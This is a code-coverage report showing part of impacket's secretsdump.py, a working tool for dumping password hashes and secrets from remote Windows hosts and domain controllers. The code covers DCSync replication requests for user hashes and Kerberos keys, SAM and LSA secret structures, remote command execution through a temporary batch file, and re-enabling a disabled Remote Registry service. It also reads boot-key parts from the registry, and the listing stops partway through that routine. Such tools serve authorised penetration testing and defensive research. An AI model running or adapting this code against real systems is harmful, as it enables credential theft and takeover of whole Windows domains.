Coverage for /root/GitHubProjects/impacket/impacket/examples/secretsdump.py : 62%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2#
3# This software is provided under a slightly modified version
4# of the Apache Software License. See the accompanying LICENSE file
5# for more information.
6#
7# Description: Performs various techniques to dump hashes from the
8# remote machine without executing any agent there.
9# For SAM and LSA Secrets (including cached creds)
10# we try to read as much as we can from the registry
11# and then we save the hives in the target system
12# (%SYSTEMROOT%\\Temp dir) and read the rest of the
13# data from there.
14# For NTDS.dit we either:
15# a. Get the domain users list and get its hashes
16# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
17# call, replicating just the attributes we need.
18# b. Extract NTDS.dit via vssadmin executed with the
19# smbexec approach.
20# It's copied on the temp dir and parsed remotely.
21#
22# The script initiates the services required for its working
23# if they are not available (e.g. Remote Registry, even if it is
24# disabled). After the work is done, things are restored to the
25# original state.
26#
27# Author:
28# Alberto Solino (@agsolino)
29#
30# References: Most of the work done by these guys. I just put all
31# the pieces together, plus some extra magic.
32#
33# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
34# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
35# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
36# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
37# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
38# https://code.google.com/p/creddump/
39# https://lab.mediaservice.net/code/cachedump.rb
40# https://insecurety.net/?p=768
41# http://www.beginningtoseethelight.org/ntsecurity/index.htm
42# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
43# https://www.passcape.com/index.php?section=blog&cmd=details&id=15
44#
45from __future__ import division
46from __future__ import print_function
47import codecs
48import hashlib
49import logging
50import ntpath
51import os
52import random
53import string
54import time
55from binascii import unhexlify, hexlify
56from collections import OrderedDict
57from datetime import datetime
58from struct import unpack, pack
59from six import b, PY2
61from impacket import LOG
62from impacket import system_errors
63from impacket import winregistry, ntlm
64from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
65from impacket.dcerpc.v5.dtypes import NULL
66from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
67from impacket.dcerpc.v5.dcom import wmi
68from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
69 VARIANT, VARENUM, DISPATCH_METHOD
70from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
71 OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
72 IRemUnknown2, INTERFACE
73from impacket.ese import ESENT_DB
74from impacket.dpapi import DPAPI_SYSTEM
75from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ
76from impacket.nt_errors import STATUS_MORE_ENTRIES
77from impacket.structure import Structure
78from impacket.structure import hexdump
79from impacket.uuid import string_to_bin
80from impacket.crypto import transformKey
81from impacket.krb5 import constants
82from impacket.krb5.crypto import string_to_key
83try:
84 from Cryptodome.Cipher import DES, ARC4, AES
85 from Cryptodome.Hash import HMAC, MD4, MD5
86except ImportError:
87 LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
88 LOG.critical("See https://pypi.org/project/pycryptodomex/")
91# Structures
92# Taken from https://insecurety.net/?p=768
93class SAM_KEY_DATA(Structure):
94 structure = (
95 ('Revision','<L=0'),
96 ('Length','<L=0'),
97 ('Salt','16s=b""'),
98 ('Key','16s=b""'),
99 ('CheckSum','16s=b""'),
100 ('Reserved','<Q=0'),
101 )
103# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/CoreSecurity/impacket/issues/326
104# Merci! Makes it way easier than parsing manually.
105class SAM_HASH(Structure):
106 structure = (
107 ('PekID','<H=0'),
108 ('Revision','<H=0'),
109 ('Hash','16s=b""'),
110 )
112class SAM_KEY_DATA_AES(Structure):
113 structure = (
114 ('Revision','<L=0'),
115 ('Length','<L=0'),
116 ('CheckSumLen','<L=0'),
117 ('DataLen','<L=0'),
118 ('Salt','16s=b""'),
119 ('Data',':'),
120 )
122class SAM_HASH_AES(Structure):
123 structure = (
124 ('PekID','<H=0'),
125 ('Revision','<H=0'),
126 ('DataOffset','<L=0'),
127 ('Salt','16s=b""'),
128 ('Hash',':'),
129 )
131class DOMAIN_ACCOUNT_F(Structure):
132 structure = (
133 ('Revision','<L=0'),
134 ('Unknown','<L=0'),
135 ('CreationTime','<Q=0'),
136 ('DomainModifiedCount','<Q=0'),
137 ('MaxPasswordAge','<Q=0'),
138 ('MinPasswordAge','<Q=0'),
139 ('ForceLogoff','<Q=0'),
140 ('LockoutDuration','<Q=0'),
141 ('LockoutObservationWindow','<Q=0'),
142 ('ModifiedCountAtLastPromotion','<Q=0'),
143 ('NextRid','<L=0'),
144 ('PasswordProperties','<L=0'),
145 ('MinPasswordLength','<H=0'),
146 ('PasswordHistoryLength','<H=0'),
147 ('LockoutThreshold','<H=0'),
148 ('Unknown2','<H=0'),
149 ('ServerState','<L=0'),
150 ('ServerRole','<H=0'),
151 ('UasCompatibilityRequired','<H=0'),
152 ('Unknown3','<Q=0'),
153 ('Key0',':'),
154# Commenting this, not needed and not present on Windows 2000 SP0
155# ('Key1',':', SAM_KEY_DATA),
156# ('Unknown4','<L=0'),
157 )
159# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
160class USER_ACCOUNT_V(Structure):
161 structure = (
162 ('Unknown','12s=b""'),
163 ('NameOffset','<L=0'),
164 ('NameLength','<L=0'),
165 ('Unknown2','<L=0'),
166 ('FullNameOffset','<L=0'),
167 ('FullNameLength','<L=0'),
168 ('Unknown3','<L=0'),
169 ('CommentOffset','<L=0'),
170 ('CommentLength','<L=0'),
171 ('Unknown3','<L=0'),
172 ('UserCommentOffset','<L=0'),
173 ('UserCommentLength','<L=0'),
174 ('Unknown4','<L=0'),
175 ('Unknown5','12s=b""'),
176 ('HomeDirOffset','<L=0'),
177 ('HomeDirLength','<L=0'),
178 ('Unknown6','<L=0'),
179 ('HomeDirConnectOffset','<L=0'),
180 ('HomeDirConnectLength','<L=0'),
181 ('Unknown7','<L=0'),
182 ('ScriptPathOffset','<L=0'),
183 ('ScriptPathLength','<L=0'),
184 ('Unknown8','<L=0'),
185 ('ProfilePathOffset','<L=0'),
186 ('ProfilePathLength','<L=0'),
187 ('Unknown9','<L=0'),
188 ('WorkstationsOffset','<L=0'),
189 ('WorkstationsLength','<L=0'),
190 ('Unknown10','<L=0'),
191 ('HoursAllowedOffset','<L=0'),
192 ('HoursAllowedLength','<L=0'),
193 ('Unknown11','<L=0'),
194 ('Unknown12','12s=b""'),
195 ('LMHashOffset','<L=0'),
196 ('LMHashLength','<L=0'),
197 ('Unknown13','<L=0'),
198 ('NTHashOffset','<L=0'),
199 ('NTHashLength','<L=0'),
200 ('Unknown14','<L=0'),
201 ('Unknown15','24s=b""'),
202 ('Data',':=b""'),
203 )
205class NL_RECORD(Structure):
206 structure = (
207 ('UserLength','<H=0'),
208 ('DomainNameLength','<H=0'),
209 ('EffectiveNameLength','<H=0'),
210 ('FullNameLength','<H=0'),
211# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265
212 ('LogonScriptName','<H=0'),
213 ('ProfilePathLength','<H=0'),
214 ('HomeDirectoryLength','<H=0'),
215 ('HomeDirectoryDriveLength','<H=0'),
216 ('UserId','<L=0'),
217 ('PrimaryGroupId','<L=0'),
218 ('GroupCount','<L=0'),
219 ('logonDomainNameLength','<H=0'),
220 ('unk0','<H=0'),
221 ('LastWrite','<Q=0'),
222 ('Revision','<L=0'),
223 ('SidCount','<L=0'),
224 ('Flags','<L=0'),
225 ('unk1','<L=0'),
226 ('LogonPackageLength','<L=0'),
227 ('DnsDomainNameLength','<H=0'),
228 ('UPN','<H=0'),
229 # ('MetaData','52s=""'),
230 # ('FullDomainLength','<H=0'),
231 # ('Length2','<H=0'),
232 ('IV','16s=b""'),
233 ('CH','16s=b""'),
234 ('EncryptedData',':'),
235 )
238class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
239 structure = (
240 ('Value','6s'),
241 )
243class SAMR_RPC_SID(Structure):
244 structure = (
245 ('Revision','<B'),
246 ('SubAuthorityCount','<B'),
247 ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
248 ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
249 ('SubAuthority',':'),
250 )
252 def formatCanonical(self):
253 ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6]))
254 for i in range(self['SubAuthorityCount']):
255 ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
256 return ans
258class LSA_SECRET_BLOB(Structure):
259 structure = (
260 ('Length','<L=0'),
261 ('Unknown','12s=b""'),
262 ('_Secret','_-Secret','self["Length"]'),
263 ('Secret',':'),
264 ('Remaining',':'),
265 )
267class LSA_SECRET(Structure):
268 structure = (
269 ('Version','<L=0'),
270 ('EncKeyID','16s=b""'),
271 ('EncAlgorithm','<L=0'),
272 ('Flags','<L=0'),
273 ('EncryptedData',':'),
274 )
276class LSA_SECRET_XP(Structure):
277 structure = (
278 ('Length','<L=0'),
279 ('Version','<L=0'),
280 ('_Secret','_-Secret', 'self["Length"]'),
281 ('Secret', ':'),
282 )
285# Helper to create files for exporting
286def openFile(fileName, mode='w+', openFileFunc=None):
287 if openFileFunc is not None:
288 return openFileFunc(fileName, mode)
289 else:
290 return codecs.open(fileName, mode, encoding='utf-8')
293# Classes
294class RemoteFile:
295 def __init__(self, smbConnection, fileName):
296 self.__smbConnection = smbConnection
297 self.__fileName = fileName
298 self.__tid = self.__smbConnection.connectTree('ADMIN$')
299 self.__fid = None
300 self.__currentOffset = 0
302 def open(self):
303 tries = 0
304 while True:
305 try:
306 self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA,
307 shareMode=FILE_SHARE_READ)
308 except Exception as e:
309 if str(e).find('STATUS_SHARING_VIOLATION') >=0:
310 if tries >= 3:
311 raise e
312 # Stuff didn't finish yet.. wait more
313 time.sleep(5)
314 tries += 1
315 pass
316 else:
317 raise e
318 else:
319 break
321 def seek(self, offset, whence):
322 # Implement whence, for now it's always from the beginning of the file
323 if whence == 0:
324 self.__currentOffset = offset
326 def read(self, bytesToRead):
327 if bytesToRead > 0:
328 data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
329 self.__currentOffset += len(data)
330 return data
331 return b''
333 def close(self):
334 if self.__fid is not None:
335 self.__smbConnection.closeFile(self.__tid, self.__fid)
336 self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
337 self.__fid = None
339 def tell(self):
340 return self.__currentOffset
342 def __str__(self):
343 return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)
345class RemoteOperations:
346 def __init__(self, smbConnection, doKerberos, kdcHost=None):
347 self.__smbConnection = smbConnection
348 if self.__smbConnection is not None: 348 ↛ 350line 348 didn't jump to line 350, because the condition on line 348 was never false
349 self.__smbConnection.setTimeout(5*60)
350 self.__serviceName = 'RemoteRegistry'
351 self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
352 self.__rrp = None
353 self.__regHandle = None
355 self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
356 self.__samr = None
357 self.__domainHandle = None
358 self.__domainName = None
359 self.__domainSid = None
361 self.__drsr = None
362 self.__hDrs = None
363 self.__NtdsDsaObjectGuid = None
364 self.__ppartialAttrSet = None
365 self.__prefixTable = []
366 self.__doKerberos = doKerberos
367 self.__kdcHost = kdcHost
369 self.__bootKey = b''
370 self.__disabled = False
371 self.__shouldStop = False
372 self.__started = False
374 self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
375 self.__scmr = None
376 self.__tmpServiceName = None
377 self.__serviceDeleted = False
379 self.__batchFile = '%TEMP%\\execute.bat'
380 self.__shell = '%COMSPEC% /Q /c '
381 self.__output = '%SYSTEMROOT%\\Temp\\__output'
382 self.__answerTMP = b''
384 self.__execMethod = 'smbexec'
386 def setExecMethod(self, method):
387 self.__execMethod = method
389 def __connectSvcCtl(self):
390 rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
391 rpc.set_smb_connection(self.__smbConnection)
392 self.__scmr = rpc.get_dce_rpc()
393 self.__scmr.connect()
394 self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
396 def __connectWinReg(self):
397 rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
398 rpc.set_smb_connection(self.__smbConnection)
399 self.__rrp = rpc.get_dce_rpc()
400 self.__rrp.connect()
401 self.__rrp.bind(rrp.MSRPC_UUID_RRP)
403 def connectSamr(self, domain):
404 rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
405 rpc.set_smb_connection(self.__smbConnection)
406 self.__samr = rpc.get_dce_rpc()
407 self.__samr.connect()
408 self.__samr.bind(samr.MSRPC_UUID_SAMR)
409 resp = samr.hSamrConnect(self.__samr)
410 serverHandle = resp['ServerHandle']
412 resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
413 self.__domainSid = resp['DomainId'].formatCanonical()
415 resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
416 self.__domainHandle = resp['DomainHandle']
417 self.__domainName = domain
419 def __connectDrds(self):
420 stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
421 protocol='ncacn_ip_tcp')
422 rpc = transport.DCERPCTransportFactory(stringBinding)
423 rpc.setRemoteHost(self.__smbConnection.getRemoteHost())
424 rpc.setRemoteName(self.__smbConnection.getRemoteName())
425 if hasattr(rpc, 'set_credentials'): 425 ↛ 429line 425 didn't jump to line 429, because the condition on line 425 was never false
426 # This method exists only for selected protocol sequences.
427 rpc.set_credentials(*(self.__smbConnection.getCredentials()))
428 rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
429 self.__drsr = rpc.get_dce_rpc()
430 self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
431 if self.__doKerberos: 431 ↛ 432line 431 didn't jump to line 432, because the condition on line 431 was never true
432 self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
433 self.__drsr.connect()
434 # Uncomment these lines if you want to play some tricks
435 # This will make the dump way slower tho.
436 #self.__drsr.bind(samr.MSRPC_UUID_SAMR)
437 #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI)
438 #self.__drsr.set_max_fragment_size(1)
439 # And Comment this line
440 self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
442 if self.__domainName is None: 442 ↛ 444line 442 didn't jump to line 444, because the condition on line 442 was never true
443 # Get domain name from credentials cached
444 self.__domainName = rpc.get_credentials()[2]
446 request = drsuapi.DRSBind()
447 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
448 drs = drsuapi.DRS_EXTENSIONS_INT()
449 drs['cb'] = len(drs) #- 4
450 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
451 drsuapi.DRS_EXT_STRONG_ENCRYPTION
452 drs['SiteObjGuid'] = drsuapi.NULLGUID
453 drs['Pid'] = 0
454 drs['dwReplEpoch'] = 0
455 drs['dwFlagsExt'] = 0
456 drs['ConfigObjGUID'] = drsuapi.NULLGUID
457 # I'm uber potential (c) Ben
458 drs['dwExtCaps'] = 0xffffffff
459 request['pextClient']['cb'] = len(drs)
460 request['pextClient']['rgb'] = list(drs.getData())
461 resp = self.__drsr.request(request)
462 if LOG.level == logging.DEBUG: 462 ↛ 463line 462 didn't jump to line 463, because the condition on line 462 was never true
463 LOG.debug('DRSBind() answer')
464 resp.dump()
466 # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
467 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
468 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
470 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
471 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
472 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
473 drsExtensionsInt.fromString(ppextServer)
475 if drsExtensionsInt['dwReplEpoch'] != 0: 475 ↛ 477line 475 didn't jump to line 477, because the condition on line 475 was never true
476 # Different epoch, we have to call DRSBind again
477 if LOG.level == logging.DEBUG:
478 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
479 'dwReplEpoch'])
480 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
481 request['pextClient']['cb'] = len(drs)
482 request['pextClient']['rgb'] = list(drs.getData())
483 resp = self.__drsr.request(request)
485 self.__hDrs = resp['phDrs']
487 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
488 resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
489 if LOG.level == logging.DEBUG: 489 ↛ 490line 489 didn't jump to line 490, because the condition on line 489 was never true
490 LOG.debug('DRSDomainControllerInfo() answer')
491 resp.dump()
493 if resp['pmsgOut']['V2']['cItems'] > 0: 493 ↛ 496line 493 didn't jump to line 496, because the condition on line 493 was never false
494 self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
495 else:
496 LOG.error("Couldn't get DC info for domain %s" % self.__domainName)
497 raise Exception('Fatal, aborting')
499 def getDrsr(self):
500 return self.__drsr
502 def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
503 formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
504 if self.__drsr is None:
505 self.__connectDrds()
507 LOG.debug('Calling DRSCrackNames for %s ' % name)
508 resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
509 return resp
511 def DRSGetNCChanges(self, userEntry):
512 if self.__drsr is None: 512 ↛ 513line 512 didn't jump to line 513, because the condition on line 512 was never true
513 self.__connectDrds()
515 LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry)
516 request = drsuapi.DRSGetNCChanges()
517 request['hDrs'] = self.__hDrs
518 request['dwInVersion'] = 8
520 request['pmsgIn']['tag'] = 8
521 request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
522 request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
524 dsName = drsuapi.DSNAME()
525 dsName['SidLen'] = 0
526 dsName['Guid'] = string_to_bin(userEntry[1:-1])
527 dsName['Sid'] = ''
528 dsName['NameLen'] = 0
529 dsName['StringName'] = ('\x00')
531 dsName['structLen'] = len(dsName.getData())
533 request['pmsgIn']['V8']['pNC'] = dsName
535 request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
536 request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
538 request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
540 request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
541 request['pmsgIn']['V8']['cMaxObjects'] = 1
542 request['pmsgIn']['V8']['cMaxBytes'] = 0
543 request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
544 if self.__ppartialAttrSet is None:
545 self.__prefixTable = []
546 self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
547 self.__ppartialAttrSet['dwVersion'] = 1
548 self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
549 for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()):
550 self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
551 request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
552 request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
553 request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
554 request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
556 return self.__drsr.request(request)
558 def getDomainUsers(self, enumerationContext=0):
559 if self.__samr is None: 559 ↛ 560line 559 didn't jump to line 560, because the condition on line 559 was never true
560 self.connectSamr(self.getMachineNameAndDomain()[1])
562 try:
563 resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
564 userAccountControl=samr.USER_NORMAL_ACCOUNT | \
565 samr.USER_WORKSTATION_TRUST_ACCOUNT | \
566 samr.USER_SERVER_TRUST_ACCOUNT |\
567 samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
568 enumerationContext=enumerationContext)
569 except DCERPCException as e:
570 if str(e).find('STATUS_MORE_ENTRIES') < 0:
571 raise
572 resp = e.get_packet()
573 return resp
575 def getDomainSid(self):
576 if self.__domainSid is not None: 576 ↛ 579line 576 didn't jump to line 579, because the condition on line 576 was never false
577 return self.__domainSid
579 if self.__samr is None:
580 self.connectSamr(self.getMachineNameAndDomain()[1])
582 return self.__domainSid
584 def getMachineKerberosSalt(self):
585 """
586 Returns Kerberos salt for the current connection if
587 we have the correct information
588 """
589 if self.__smbConnection.getServerName() == '': 589 ↛ 592line 589 didn't jump to line 592, because the condition on line 589 was never true
590 # Todo: figure out an RPC call that gives us the domain FQDN
591 # instead of the NETBIOS name as NetrWkstaGetInfo does
592 return b''
593 else:
594 host = self.__smbConnection.getServerName()
595 domain = self.__smbConnection.getServerDNSDomainName()
596 salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8'))
597 return salt
599 def getMachineNameAndDomain(self):
600 if self.__smbConnection.getServerName() == '': 600 ↛ 604line 600 didn't jump to line 604, because the condition on line 600 was never true
601 # No serverName.. this is either because we're doing Kerberos
602 # or not receiving that data during the login process.
603 # Let's try getting it through RPC
604 rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
605 rpc.set_smb_connection(self.__smbConnection)
606 dce = rpc.get_dce_rpc()
607 dce.connect()
608 dce.bind(wkst.MSRPC_UUID_WKST)
609 resp = wkst.hNetrWkstaGetInfo(dce, 100)
610 dce.disconnect()
611 return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
612 'wki100_langroup'][:-1]
613 else:
614 return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
616 def getDefaultLoginAccount(self):
617 try:
618 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
619 keyHandle = ans['phkResult']
620 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
621 username = dataValue[:-1]
622 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
623 domain = dataValue[:-1]
624 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
625 if len(domain) > 0: 625 ↛ 628line 625 didn't jump to line 628, because the condition on line 625 was never false
626 return '%s\\%s' % (domain,username)
627 else:
628 return username
629 except:
630 return None
632 def getServiceAccount(self, serviceName):
633 try:
634 # Open the service
635 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
636 serviceHandle = ans['lpServiceHandle']
637 resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
638 account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
639 scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
640 if account.startswith('.\\'): 640 ↛ 641line 640 didn't jump to line 641, because the condition on line 640 was never true
641 account = account[2:]
642 return account
643 except Exception as e:
644 # Don't log if history service is not found, that should be normal
645 if serviceName.endswith("_history") is False:
646 LOG.error(e)
647 return None
649 def __checkServiceStatus(self):
650 # Open SC Manager
651 ans = scmr.hROpenSCManagerW(self.__scmr)
652 self.__scManagerHandle = ans['lpScHandle']
653 # Now let's open the service
654 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
655 self.__serviceHandle = ans['lpServiceHandle']
656 # Let's check its status
657 ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
658 if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: 658 ↛ 659line 658 didn't jump to line 659, because the condition on line 658 was never true
659 LOG.info('Service %s is in stopped state'% self.__serviceName)
660 self.__shouldStop = True
661 self.__started = False
662 elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: 662 ↛ 667line 662 didn't jump to line 667, because the condition on line 662 was never false
663 LOG.debug('Service %s is already running'% self.__serviceName)
664 self.__shouldStop = False
665 self.__started = True
666 else:
667 raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
669 # Let's check its configuration if service is stopped, maybe it's disabled :s
670 if self.__started is False: 670 ↛ 671line 670 didn't jump to line 671, because the condition on line 670 was never true
671 ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
672 if ans['lpServiceConfig']['dwStartType'] == 0x4:
673 LOG.info('Service %s is disabled, enabling it'% self.__serviceName)
674 self.__disabled = True
675 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
676 LOG.info('Starting service %s' % self.__serviceName)
677 scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
678 time.sleep(1)
680 def enableRegistry(self):
681 self.__connectSvcCtl()
682 self.__checkServiceStatus()
683 self.__connectWinReg()
685 def __restore(self):
686 # First of all stop the service if it was originally stopped
687 if self.__shouldStop is True: 687 ↛ 688line 687 didn't jump to line 688, because the condition on line 687 was never true
688 LOG.info('Stopping service %s' % self.__serviceName)
689 scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
690 if self.__disabled is True: 690 ↛ 691line 690 didn't jump to line 691, because the condition on line 690 was never true
691 LOG.info('Restoring the disabled state for service %s' % self.__serviceName)
692 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
693 if self.__serviceDeleted is False and self.__tmpServiceName is not None: 693 ↛ 696line 693 didn't jump to line 696, because the condition on line 693 was never true
694 # Check again the service we created does not exist, starting a new connection
695 # Why?.. Hitting CTRL+C might break the whole existing DCE connection
696 try:
697 rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
698 if hasattr(rpc, 'set_credentials'):
699 # This method exists only for selected protocol sequences.
700 rpc.set_credentials(*self.__smbConnection.getCredentials())
701 rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
702 self.__scmr = rpc.get_dce_rpc()
703 self.__scmr.connect()
704 self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
705 # Open SC Manager
706 ans = scmr.hROpenSCManagerW(self.__scmr)
707 self.__scManagerHandle = ans['lpScHandle']
708 # Now let's open the service
709 resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
710 service = resp['lpServiceHandle']
711 scmr.hRDeleteService(self.__scmr, service)
712 scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
713 scmr.hRCloseServiceHandle(self.__scmr, service)
714 scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
715 scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
716 rpc.disconnect()
717 except Exception as e:
718 # If service is stopped it'll trigger an exception
719 # If service does not exist it'll trigger an exception
720 # So. we just wanna be sure we delete it, no need to
721 # show this exception message
722 pass
724 def finish(self):
725 self.__restore()
726 if self.__rrp is not None:
727 self.__rrp.disconnect()
728 if self.__drsr is not None:
729 self.__drsr.disconnect()
730 if self.__samr is not None:
731 self.__samr.disconnect()
732 if self.__scmr is not None:
733 try:
734 self.__scmr.disconnect()
735 except Exception as e:
736 if str(e).find('STATUS_INVALID_PARAMETER') >=0:
737 pass
738 else:
739 raise
741 def getBootKey(self):
742 bootKey = b''
743 ans = rrp.hOpenLocalMachine(self.__rrp)
744 self.__regHandle = ans['phKey']
745 for key in ['JD','Skew1','GBG','Data']:
746 LOG.debug('Retrieving class info for %s'% key)
747 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
748 keyHandle = ans['phkResult']
749 ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
750 bootKey = bootKey + b(ans['lpClassOut'][:-1])
751 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
753 transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
755 bootKey = unhexlify(bootKey)
757 for i in range(len(bootKey)):
